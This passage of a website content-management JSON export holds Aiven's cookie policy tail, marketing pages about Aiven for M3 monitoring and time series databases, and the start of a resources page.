more](https://policies.google.com/privacy?hl=en)"]},{"_key":"e180dffd-cb13-422b-97f7-b0ba646665ce","_type":"tableRow","cells":["Hotjar","Collect information about website use","[Read more](https://www.hotjar.com/legal/policies/privacy/)"]},{"_key":"1faa9282-2d4c-43fe-b7af-56590bb6b323","_type":"tableRow","cells":["LinkedIn","Collect information for relevant advertisements","[Read more](https://www.linkedin.com/help/lms/answer/65521/the-linkedin-insight-tag-faqs)"]},{"_key":"6bea77de-7040-48a4-acc1-4325eb776741","_type":"tableRow","cells":["Microsoft Advertising","Collect information for relevant advertisements","[Read more](https://about.ads.microsoft.com/en-us/resources/policies/microsoft-advertising-privacy-policy)"]},{"_key":"f5cf4b23-5502-4bcf-bdf4-43e0efaacab4","_type":"tableRow","cells":["Pardot","Collect information about website use for personalization","[Read more](https://www.salesforce.com/company/privacy/)"]},{"_key":"91f2ee21-7b08-43a1-89d3-36019677b65c","_type":"tableRow","cells":["Reddit","Collect information for relevant advertisements","[Read more](https://www.reddithelp.com/hc/en-us/categories/360003246511-Privacy-Security)"]},{"_key":"d7e0237c-9cd6-43f5-9bf2-6c6de36c7300","_type":"tableRow","cells":["Twitter","Collect information for relevant advertisements","[Read more](https://twitter.com/en/privacy)"]},{"_key":"ec399598-fba9-46c4-a86a-a8a59e4fe8fc","_type":"tableRow","cells":["6Sense","Collect information for relevant advertisements","[Read more](https://6sense.com/privacy-policy/)"]},{"_key":"891c9c8b-7593-404c-9967-14564760555e","_type":"tableRow","cells":["Calendly","Collect information for demo meetings","[Read more](https://calendly.com/privacy)"]},{"_key":"d46de688-4d92-4ced-a501-882bac235910","_type":"tableRow","cells":["Qualified","Collect information about website use","[Read more](https://www.qualified.com/legal/privacy)"]},{"_key":"6257caab-1ef2-48bf-a0ef-2635287c3966","_type":"tableRow","cells":["Quora","Collect information for relevant advertisements ","[Read more](https://www.quora.com/about/privacy)"]},{"_key":"2422f429-6dd9-4dd5-bd2d-6d11629c3066","_type":"tableRow","cells":["Mixpanel","Collect information about website use","[Read more](https://mixpanel.com/legal/privacy-policy)"]}]},{"_key":"01a1d31f523b","_type":"block","children":[{"_key":"a1a07d249be8","_type":"span","marks":[],"text":"How long do we retain cookies and information they collect?"}],"markDefs":[],"style":"h2"},{"_key":"ddf87619cbe8","_type":"block","children":[{"_key":"4a150cfe10720","_type":"span","marks":[],"text":"We use both session and persistent cookies:"}],"markDefs":[],"style":"normal"},{"_key":"21b2e545ee00","_type":"block","children":[{"_key":"e3815c0395de0","_type":"span","marks":["strong"],"text":"Session cookies"},{"_key":"e3815c0395de1","_type":"span","marks":[],"text":" are stored in memory for the duration of the session and removed once the user closes the browser."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c4114e564d53","_type":"block","children":[{"_key":"27d88af6810d0","_type":"span","marks":["strong"],"text":"Persistent cookies "},{"_key":"27d88af6810d1","_type":"span","marks":[],"text":"are stored on a user’s device to help remember information, settings, preferences, or sign-on credentials that a user has previously saved. Persistent cookies are stored until they expire or the user deletes the cookies. We keep information collected from cookies for a maximum of 24 months."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"74e57446a3a6","_type":"block","children":[{"_key":"1c336b3b6cd30","_type":"span","marks":[],"text":"How can you change your cookie settings?"}],"markDefs":[],"style":"h2"},{"_key":"78b095729138","_type":"block","children":[{"_key":"95b4a0973c520","_type":"span","marks":[],"text":"You can change your cookie preferences at any time by clicking on ‘Cookie Settings‘ on the footer of our website. You can then ‘activate’ or ‘inactivate’ cookies used for different purposes, and then clicking ‘Save settings’. You may need to refresh your page for your settings to take effect."}],"markDefs":[],"style":"normal"},{"_key":"0ee3494027c3","_type":"block","children":[{"_key":"20c5cf20752b0","_type":"span","marks":[],"text":"Alternatively, most web browsers allow some control of most cookies through the browser settings."}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-05-06T02:29:00.000Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Your personal information is important; that's why Aiven was an early adopter of GDPR stipulations and also why we offer a simple cookie policy.\n","metaImage":{"_type":"mainImage","alt":"cookie policy meta preview","asset":{"_ref":"image-c14c3b409377e036ac164e09dbfefba1d9bfed99-476x250-jpg","_type":"reference"}},"metaTitle":"Cookie Policy | Aiven"},"slug":{"_type":"slug","current":"/cookies"},"title":"Aiven Cookie Policy"} {"__i18n_lang":"en","_createdAt":"2022-07-27T14:52:41Z","_id":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_rev":"dsxJlHxlnt5nZt5n1xESgA","_type":"timeSeries","_updatedAt":"2023-06-08T08:43:37Z","content":[{"_key":"f40e89197074","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"4752a4ba9a48","_type":"block","children":[{"_key":"4ced731dd58b0","_type":"span","marks":[],"text":"Aiven for M3 is a powerful time series database that excels at large-scale monitoring. When combined with additional tools, you can build a comprehensive observability platform that’s ready for any data you want to throw at it."}],"markDefs":[],"style":"normal"}],"disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-602e0890ee1b032f0ae2c387b95563f1ae402c8b-1200x1200-png","_type":"reference"}},"tagline":"The future of data","title":"Monitoring and observability","variant":"default"},{"_key":"faf0e38c6228","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f3b82c12b7e7","_type":"block","children":[{"_key":"d029faab812e0","_type":"span","marks":[],"text":"When you're dealing with modern applications that produce huge volumes of data, a fully integrated monitoring solution is essential. A time series database is the perfect tool for this – and Aiven for M3 is a great example of how a TSDB can be used for enhanced monitoring."}],"markDefs":[],"style":"normal"},{"_key":"4a7d28e4e559","_type":"block","children":[{"_key":"9a64796d7abf0","_type":"span","marks":[],"text":"If you already use another time series database, for example Prometheus, for monitoring, but you have problems scaling up your monitoring for big data, Aiven for M3 offers unlimited scalability. You simply plug it into your existing environment, and you’re all set."}],"markDefs":[],"style":"normal"}],"tagline":"M3 + Monitoring","title":"Time series databases – made for monitoring","variant":"oneColumn"},{"_key":"30b702974d24","_type":"textImage","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-f4b1d5cfc087c8c7b88728a34689747f7d208156-1200x628-png","_type":"reference"}},"rounded":false,"text":[{"_key":"53f126b81e4a","_type":"block","children":[{"_key":"faf86f6d5ef7","_type":"span","marks":[],"text":"Metrics data can quickly grow to be very complex. Soon, basic monitoring might not be enough, especially if you’re working on a global scale. This is where Aiven for M3 comes to the rescue."}],"markDefs":[],"style":"normal"},{"_key":"99ddec206104","_type":"block","children":[{"_key":"9506fbd4aa48","_type":"span","marks":[],"text":"Adding Aiven for M3 to Prometheus"}],"markDefs":[],"style":"h3"},{"_key":"cc7ab30129ed","_type":"block","children":[{"_key":"54fb0093edca","_type":"span","marks":[],"text":"Let’s say you’re already using a local Prometheus time series database, but you’ve realised it doesn’t scale as much as you need."}],"markDefs":[],"style":"normal"},{"_key":"4a52d16f2ba4","_type":"block","children":[{"_key":"5318828467e2","_type":"span","marks":[],"text":"Aiven for M3 can be used out of the box to scale your local Prometheus environment up to a massive scale. It’s like going from limited to unlimited at the flick of a switch."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"430cd6360ed3","_type":"block","children":[{"_key":"b0b44e5cacaf","_type":"span","marks":[],"text":"Combine multiple Prometheus nodes. Aggregate data from multiple Prometheus environments to a centralised cloud storage, making data easier to analyze."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"037e26132691","_type":"block","children":[{"_key":"165d451b41ca","_type":"span","marks":[],"text":"Optional M3 Aggregator service to reduce storage needs and speed up query time."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"37c6ddb65332","_type":"block","children":[{"_key":"190b02d26b36","_type":"span","marks":[],"text":"With 99.99% uptime, you won’t miss a beat."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"More data needs more power","variant":"mediaRight"},{"_key":"48d438b352c3","_type":"textColumn","columnOne":[{"_key":"ad981912607d","_type":"block","children":[{"_key":"29eab616c6a50","_type":"span","marks":[],"text":"M3DB native distributed time series database"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2b651692da85","_type":"block","children":[{"_key":"d702e83ad9c90","_type":"span","marks":[],"text":"Unlimited scalability, up to 10s of thousands of nodes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"40cc03efbe8b","_type":"block","children":[{"_key":"18decefc8d4e0","_type":"span","marks":[],"text":"Use M3 and M3 Aggregator to gather all your metrics data in one place, at customizable resolutions, making it easier – and faster – to analyze and report on."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"afccd843d077","_type":"block","children":[{"_key":"31580513e73a0","_type":"span","marks":[],"text":"Log management with OpenSearch and OpenSearch dashboards."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"01168317b9e8","_type":"block","children":[{"_key":"1620948fdff70","_type":"span","marks":[],"text":"Grafana for visualization dashboards and alerts – with many ready-made dashboards available."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a2246969dcc6","_type":"block","children":[{"_key":"fdd62f8b91a60","_type":"span","marks":[],"text":"Deploy in minutes, and integrate the modules you want at the click of a button."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"2a80b6a81467","_type":"block","children":[{"_key":"a8da38dc2de80","_type":"span","marks":[],"text":"Monitoring can tell you when something goes wrong, but it can’t tell you "},{"_key":"a8da38dc2de81","_type":"span","marks":["em"],"text":"why"},{"_key":"a8da38dc2de82","_type":"span","marks":[],"text":". That’s where observability comes to the rescue. While monitoring tracks the health of applications, well-designed observability dives deeper into the entire system, notifying you of any incidents "},{"_key":"a8da38dc2de83","_type":"span","marks":["em"],"text":"before"},{"_key":"a8da38dc2de84","_type":"span","marks":[],"text":" they become problems."}],"markDefs":[],"style":"normal"},{"_key":"09fb39f0ffb0","_type":"block","children":[{"_key":"a814d21c7e9f0","_type":"span","marks":[],"text":"Aiven offers a collection of tools that support you in creating a custom observability platform. By combining metrics, monitoring, logging, analysis and diagnosis, alerting, and troubleshooting, you can build an all-in-one solution to keep your entire system running smoothly."}],"markDefs":[],"style":"normal"}],"title":"From monitoring to observability","variant":"twoColumn"},{"_key":"68ace59fe11c","_type":"iconList","disabled":false,"iconSize":64,"icons":[{"_key":"d4e24e53bee7","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"4a97a8e65284","_type":"block","children":[{"_key":"441cb0db031f0","_type":"span","marks":[],"text":"as a highly-scalable metrics engine"}],"markDefs":[],"style":"normal"}],"title":"M3"},{"_key":"cb9d8d80e5a6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"d5570c0ada6a","_type":"block","children":[{"_key":"27f3de5ff7e70","_type":"span","marks":[],"text":"for visualisation and alerts"}],"markDefs":[],"style":"normal"}],"title":"Grafana®"},{"_key":"95144ab817d8","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"b285e198a0ed","_type":"block","children":[{"_key":"eff751a3a83f0","_type":"span","marks":[],"text":"for examining logs with OpenSearch dashboards as search UI"}],"markDefs":[],"style":"normal"}],"title":"OpenSearch®"}],"tagline":"Aiven observability tools","variant":"icon-left"},{"_key":"59ad95d9ee98","_type":"testimonial","disabled":false,"fullWidth":false,"items":[{"_key":"cb69bcaeca14","_ref":"6cA8XxCFwLgb6UcsVztkdm","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"a1fa0faeaf9f","_type":"textColumn","addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"columnOne":[{"_key":"eefb2dcdec1e","_type":"block","children":[{"_key":"3468c0ceda780","_type":"span","marks":[],"text":"Aggregate to accelerate"}],"markDefs":[],"style":"h3"},{"_key":"b5d9a51aea8f","_type":"block","children":[{"_key":"48c9118ce4880","_type":"span","marks":[],"text":"Aiven’s observability components allow you to aggregate data to both reduce storage needs, and significantly reduce query time, so analysis and results can be generated in close to real time."}],"markDefs":[],"style":"normal"},{"_key":"3820052df28d","_type":"block","children":[{"_key":"6fb9651373cc0","_type":"span","marks":[],"text":"Bringing in data"}],"markDefs":[],"style":"h3"},{"_key":"2c7e86676156","_type":"block","children":[{"_key":"60cef14020100","_type":"span","marks":[],"text":"Monitor and bring in logs from whatever nodes you want to observe, using collection agents such as Telegraf and Logstash."}],"markDefs":[],"style":"normal"},{"_key":"fe535fabe2eb","_type":"block","children":[{"_key":"1fd68bedad130","_type":"span","marks":[],"text":"Pay as you go – with no surprises"}],"markDefs":[],"style":"h3"},{"_key":"760426b86cf2","_type":"block","children":[{"_key":"bd20d8451a6f0","_type":"span","marks":[],"text":"Regardless of the observability solution you create—whether you’re scaling up Prometheus with M3 or building something using the components in our observability package—their pricing is all-inclusive. There are no additional or hidden fees for the cloud provider and storage plan you choose."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"rounded":false,"subtitle":[{"_key":"ec26354f1b8d","_type":"block","children":[{"_key":"578b4b5bc89d0","_type":"span","marks":[],"text":"Observability requires and produces a huge amount of data. The trick to making it work is balancing that data with storage capacity – so that you don’t lose critical information. The more high-quality information available, the higher the chance of identifying issues earlier."}],"markDefs":[],"style":"normal"}],"title":"Building observability","variant":"oneColumn"},{"_key":"a531279dbdd4","_type":"coverImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-68fd08d4def37d9298416749beb3a868e0e48e4e-2500x1308-png","_type":"reference"}}},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-68fd08d4def37d9298416749beb3a868e0e48e4e-2500x1308-png","_type":"reference"}},"rounded":false},{"_key":"f87844ab1446","_type":"textImage","disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e69de91c5708b19a5024d18b147eb3b17ceea977-1000x523-png","_type":"reference"}},"narrowImage":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","internalLink":{"_ref":"fc181c6b-5471-4dd5-9ee9-ad2d3cc28bfd","_type":"reference"},"title":"Learn more"},"tagline":"Resources","text":[{"_key":"356daafbfcd7","_type":"block","children":[{"_key":"385a50bea7a30","_type":"span","marks":[],"text":"Check out the rest of our TSDB resources, tutorials and links. If you want to take a TSDB for a spin, jump in and start a 30-day free trial."}],"markDefs":[],"style":"normal"}],"title":"Want to dive even deeper into time series databases?","variant":"mediaLeft"}],"secondaryNavigation":{"_ref":"0ad0814c-443a-4ee8-9884-190f7af65268","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven for M3 includes a set of built-in components for monitoring, that you can use to build a custom observability solution for your data.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f570ae573ec8bbb9dc33f26764cfbe321d66a338-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven monitoring and observability tools | Benefit today"},"slug":{"_type":"slug","current":"/time-series-databases/monitoring-and-observability"},"title":"Monitoring and observability"} {"__i18n_lang":"en","_createdAt":"2022-07-22T15:52:44Z","_id":"564ed66d-7134-4ec7-9de1-997270317ce2","_rev":"dsxJlHxlnt5nZt5n1xEb8w","_type":"timeSeries","_updatedAt":"2023-06-08T08:44:28Z","content":[{"_key":"189ccfcdf9da","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"2beb4c72754d","_type":"block","children":[{"_key":"c9e5521b2bc20","_type":"span","marks":[],"text":"You might be wondering, “What’s so special about time series data? Why do I need it?” When you start to look at the amount of data produced in our lives in just a single day, the need for a new database model soon becomes clear."}],"markDefs":[],"style":"normal"}],"disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-5ede346f3a053d24d88b3b3d855df22e4279c553-1200x1200-png","_type":"reference"}},"tagline":"The future of data","title":"What is time series data?","variant":"default"},{"_key":"37da925d1398","_type":"iconList","disabled":false,"iconSize":24,"icons":[{"_key":"330641da86e7","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c048fc923ede74500f4c423333704741ed5ed52a-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8198ecc3c54f","_type":"block","children":[{"_key":"29dc20d002b50","_type":"span","marks":[],"text":"The world has changed. We’re used to everything being connected, but today, the amount of data produced "},{"_key":"29dc20d002b51","_type":"span","marks":["em"],"text":"constantly"},{"_key":"29dc20d002b52","_type":"span","marks":[],"text":" by all kinds of devices, services, and tools is almost impossible to comprehend."}],"markDefs":[],"style":"normal"}],"title":"Constant connectivity"},{"_key":"3e8cb9c2fe84","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"986a4bfbedbc","_type":"block","children":[{"_key":"108cda87f6060","_type":"span","marks":[],"text":"There are cloud microservices, the IoT, temperature sensors and connected energy meters, market fluctuations and medical sensors. The list is endless, as is the amount of data produced. A single self-driving car can produce up to 4,000 GB of data each day. Multiply that by hundreds of thousands, or even millions, and you’ve soon got… a headache."}],"markDefs":[],"style":"normal"}],"title":"Massive data"},{"_key":"e7958fc13b55","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-f9acc5a5c5becd8847ca9aebb3a585b153afeb16-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f381bf1fb721","_type":"block","children":[{"_key":"2ea29eafad2f0","_type":"span","marks":[],"text":"Tracking this second-by-second data can be critical – literally, in industries such as healthcare. And with 86,400 seconds a day, standard databases simply can’t handle the flood of data fast enough."}],"markDefs":[],"style":"normal"},{"_key":"a89e2663af05","_type":"block","children":[{"_key":"66f4b2f9ca790","_type":"span","marks":[],"text":"And that’s exactly where time series databases come to the rescue."}],"markDefs":[],"style":"normal"}],"title":"Here comes the flood"}],"title":"Everything. Everywhere. All the time.","variant":"icon-left"},{"_key":"04ffc643bdc5","_type":"textImage","disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ae7ba6dc40a4c695c34bace93d43608bb338dfbf-1200x1200-png","_type":"reference"}},"text":[{"_key":"6604db8750a3","_type":"block","children":[{"_key":"89be5a7148a50","_type":"span","marks":[],"text":"From the dawn of time series data..."}],"markDefs":[],"style":"h3"},{"_key":"25b690c60a5d","_type":"block","children":[{"_key":"561a610fb4610","_type":"span","marks":[],"text":"Time series databases grew out of the need to process financial data and track market fluctuations throughout the day. The ability of time series databases to pair data points with timestamps at a massive scale was of huge value. Developing the ability to identify trends or market anomalies could lead to big profits. Really big profits."}],"markDefs":[],"style":"normal"},{"_key":"078f323f8e26","_type":"block","children":[{"_key":"ed06ef5624000","_type":"span","marks":[],"text":"...To predicting the future"}],"markDefs":[],"style":"h3"},{"_key":"3f53386311d8","_type":"block","children":[{"_key":"fc9d225528fe0","_type":"span","marks":[],"text":"Time series databases' core benefit is in helping you quickly analyse and identify data patterns. Coupled with efficient data storage it becomes possible to concurrently view past, present, and potential "},{"_key":"fc9d225528fe1","_type":"span","marks":["em"],"text":"future"},{"_key":"fc9d225528fe2","_type":"span","marks":[],"text":" datasets."}],"markDefs":[],"style":"normal"}],"title":"A Brief History of Time Series Data","variant":"mediaLeft"},{"_key":"f88018244b6b","_type":"cardList","addSpaceBottom":true,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"items":[{"_key":"dbc7edd7c3fb","_type":"cardItem","subtitle":[{"_key":"10dccac96e8d","_type":"block","children":[{"_key":"38d84759cce40","_type":"span","marks":[],"text":"All businesses run on data, but some rely on it more than others. When a data stream produces large amounts of constantly changing data with the flow of time, that’s when TSDBs start to make sense."}],"markDefs":[],"style":"normal"},{"_key":"1929a22369cd","_type":"block","children":[{"_key":"38cd0f9501910","_type":"span","marks":[],"text":"It’s certainly possible to use other types of databases to track time-based data, but only time series databases are designed to scale up to the massive amounts of data produced by today’s numerous connected devices and tools."}],"markDefs":[],"style":"normal"}],"title":"A matter of time...","variant":"default"},{"_key":"a6822da60892","_type":"cardItem","subtitle":[{"_key":"a7a7ecb00598","_type":"block","children":[{"_key":"17015e58a5400","_type":"span","marks":[],"text":"The problem is not simply the amount of data produced, but also the storage needed, and the speed of data access. Time series databases are resource-efficient: they can eliminate unwanted data streams or select data points on the fly, and compress or aggregate data to optimise storage. Less waste. More useful information. And, more importantly, information that can be accessed much faster."}],"markDefs":[],"style":"normal"}],"title":"...and space","variant":"default"},{"_key":"54a802b3200f","_type":"cardItem","subtitle":[{"_key":"f5696d9552bb","_type":"block","children":[{"_key":"30a1548427da0","_type":"span","marks":[],"text":"Lastly, there’s the issue of security. With the amount of potentially personal information recorded today, privacy and security are vital elements of any time series database."}],"markDefs":[],"style":"normal"},{"_key":"b0c2a101506b","_type":"block","children":[{"_key":"77ff1c7bf6b10","_type":"span","marks":[],"text":"All data needs to be protected, and Aiven’s time series solutions ensure that your data remains secure – and not owned or accessible by someone else."}],"markDefs":[],"style":"normal"}],"title":"...and safety","variant":"default"}],"rounded":false,"title":"Why do you need time series data?"},{"_key":"206db4b1cc48","_type":"iconList","disabled":false,"iconSize":25,"icons":[{"_key":"05e6a29dfad9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c048fc923ede74500f4c423333704741ed5ed52a-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"a1be252da712","_type":"block","children":[{"_key":"cb81760c09100","_type":"span","marks":[],"text":"The increasing amount of IoT deployments means only one thing: The amount of data produced by connected water, energy, temperature meters, health monitors, and wearable tech is growing exponentially. The need for highly scalable database architecture has never been greater."}],"markDefs":[],"style":"normal"}],"title":"Internet of Things"},{"_key":"52a2543f122e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7c7e2e64a772","_type":"block","children":[{"_key":"096953eaabc20","_type":"span","marks":[],"text":"App performance, button clicks, heatmaps, bounce rates… All these things can be measured and monitored by a TSDB so that developers can keep track of user habits and performance trends, identify bottlenecks, and streamline complex processes."}],"markDefs":[],"style":"normal"}],"title":"Performance and health monitoring"},{"_key":"c81d157bf509","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"cb9d0df7e5c8","_type":"block","children":[{"_key":"f382b767993e0","_type":"span","marks":[],"text":"TSDBs are still vital for tracking and analysing market fluctuations. Detecting causal relationships between related events and cross referencing with historical data can lead to profits in the stock market, and help retail stores predict future trends to anticipate stock demands."}],"markDefs":[],"style":"normal"}],"title":"Financial trends and retail forecasting"},{"_key":"d2c8fb28b4a1","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"a242a6b12c6c","_type":"block","children":[{"_key":"459fe7907ff40","_type":"span","marks":[],"text":"Self-driving cars seemed like a sci-fi dream until recently. The amount of data produced by potentially millions of cars is mind-boggling. TSDBs are an essential tool to process high volumes of real-time data, and contribute to improving safety, potentially saving lives."}],"markDefs":[],"style":"normal"}],"title":"Autonomous driving data"}],"subtitle":[{"_key":"eead24009e0d","_type":"block","children":[{"_key":"283ad7785f7c0","_type":"span","marks":[],"text":"While time series databases began as a tool for tracking rapidly changing financial market fluctuations, their use has expanded with the exponential growth in the amount of data produced by today’s connected devices, apps, and services."}],"markDefs":[],"style":"normal"},{"_key":"3ebdbf2b28c3","_type":"block","children":[{"_key":"2f7df30beb9f0","_type":"span","marks":[],"text":"It seems that every day a new device or technology is created, ready to launch gigabytes of data into the cloud. There are as many uses for time series databases as there are apps on your phone. Here are just a few:"}],"markDefs":[],"style":"normal"}],"title":"Time series data in action","variant":"header-left"},{"_key":"bbdba1e15d28","_type":"textImage","addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-46a93841e05c2acc27ebbddab87f81700f9f86df-1200x1200-png","_type":"reference"}},"narrowImage":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","internalLink":{"_ref":"c7dc6e77-a593-4ce1-a8c0-aa3358aabfac","_type":"reference"},"title":"Learn more"},"tagline":"What are TSDBs?","text":[{"_key":"3d3052a76551","_type":"block","children":[{"_key":"97a5e516c3510","_type":"span","marks":[],"text":"If you want to take a TSDB for a spin, jump in and start a 30-day free trial."}],"markDefs":[],"style":"normal"}],"title":"Take a look at how time series databases work, and explore the best options available.","variant":"mediaLeft"}],"secondaryNavigation":{"_ref":"0ad0814c-443a-4ee8-9884-190f7af65268","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"With the amount of data produced by connected devices, a new database model is needed. Welcome to the new world of time series data.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f570ae573ec8bbb9dc33f26764cfbe321d66a338-1200x630-jpg","_type":"reference"}},"metaTitle":"What is time series data? | Get started for free | Aiven"},"slug":{"_type":"slug","current":"/time-series-databases/what-is-time-series-data"},"title":"What is time series data?"} {"__i18n_lang":"en","_createdAt":"2022-07-27T15:15:05Z","_id":"fc181c6b-5471-4dd5-9ee9-ad2d3cc28bfd","_rev":"TGZ1YCbb2JKHxdDg2iPgLJ","_type":"timeSeries","_updatedAt":"2024-02-08T11:29:05Z","content":[{"_key":"afd4c280606c","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"a08a177adf5b","_type":"block","children":[{"_key":"5a8e87d0db620","_type":"span","marks":[],"text":"Want to head deeper into the next data dimension? Here’s a collection of in-depth articles about time series databases, and the options and solutions available."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-e69de91c5708b19a5024d18b147eb3b17ceea977-1000x523-png","_type":"reference"}},"tagline":"The future of data","title":"Time series database resources by Aiven","variant":"default"},{"_key":"85d5190ce48c","_type":"relatedBlogs","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","categories":[{"_key":"235928664ffd","_ref":"6jjlGcMpx0GJyFCwYDXTGu","_type":"reference"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"More time series information"},{"_key":"5a6a9ea98014","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"columnOne":[{"_key":"0982dbd89722","_type":"block","children":[{"_key":"63383ed9c43a0","_type":"span","marks":[],"text":"Related content on Aiven"}],"markDefs":[],"style":"h3"},{"_key":"6e1bf832e592","_type":"block","children":[{"_key":"6707f1f161870","_type":"span","marks":["de1b724df345"],"text":"Observability Solutions"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"de1b724df345","_type":"internalLink","internalLink":{"_ref":"4355d09b-4181-4bab-b701-d160e07eb56e","_type":"reference"}}],"style":"normal"},{"_key":"e8393930479b","_type":"block","children":[{"_key":"a9c1fd34090d0","_type":"span","marks":["797cc5846643"],"text":"Aiven for M3"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"797cc5846643","_type":"internalLink","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef","_type":"reference"}}],"style":"normal"},{"_key":"843ec976b977","_type":"block","children":[{"_key":"979fe250761e0","_type":"span","marks":["e026a539ec19"],"text":"Aiven for Grafana"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e026a539ec19","_type":"internalLink","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"}}],"style":"normal"},{"_key":"8c5a5d98eaeb","_type":"block","children":[{"_key":"188b85c931280","_type":"span","marks":["d97a3dbe7723"],"text":"Aiven for OpenSearch"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d97a3dbe7723","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}}],"style":"normal"},{"_key":"9ebf7b180c89","_type":"block","children":[{"_key":"4f3811cf71340","_type":"span","marks":["5bfe61f5cf37"],"text":"Aiven for PostgreSQL"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5bfe61f5cf37","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"}}],"style":"normal"}],"columnTwo":[{"_key":"098a2da635f6","_type":"block","children":[{"_key":"56d97ca383d30","_type":"span","marks":[],"text":"Around the web"}],"markDefs":[],"style":"h3"},{"_key":"aa438e606cd9","_type":"block","children":[{"_key":"4d40dc7f9b100","_type":"span","marks":["f81a787449b5"],"text":"M3 Community meetup 